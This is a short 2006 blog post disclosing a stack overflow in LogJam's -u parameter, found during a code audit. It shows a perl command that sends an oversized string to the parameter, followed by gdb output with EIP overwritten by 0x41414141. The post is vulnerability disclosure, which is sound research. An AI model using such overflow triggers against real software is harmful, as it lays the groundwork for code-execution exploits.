2006-03-04 20:36:00

By Tim Brown

More bugs discovered during a code audits... for example I discovered that the -u parameter to LogJam was subject to a stack overflow attack. It's purely hypothetical since you'd only exploit yourself, but probably fun to play with whilst learning more about how such attacks work.

user@host:~$ ulimit -c 100000
user@host:~$ logjam -u `perl -e "print 'A'x1024"`
Password:
Segmentation fault (core dumped)
user@host:~$ gdb logjam core
...
#0 0x41414141 in ?? ()
(gdb) info registers
eax 0x0 0
ecx 0xb76f5ff4 -1217437708
edx 0xbf9e2f9c -1080152164
ebx 0x41414141 1094795585
esp 0xbf9e3080 0xbf9e3080
ebp 0x41414141 0x41414141
esi 0x41414141 1094795585
edi 0x80dc118 135119128
eip 0x41414141 0x41414141
eflags 0x10286 66182
cs 0x73 115
ss 0x7b 123
ds 0x7b 123
es 0xc010007b -1072693125
fs 0x0 0
gs 0x33 51

As you can see, EIP is clearly overwritten.

Update: This issue evoked lively debate over on LiveJournal.

Mood: random()

Music: Nothing playing right now

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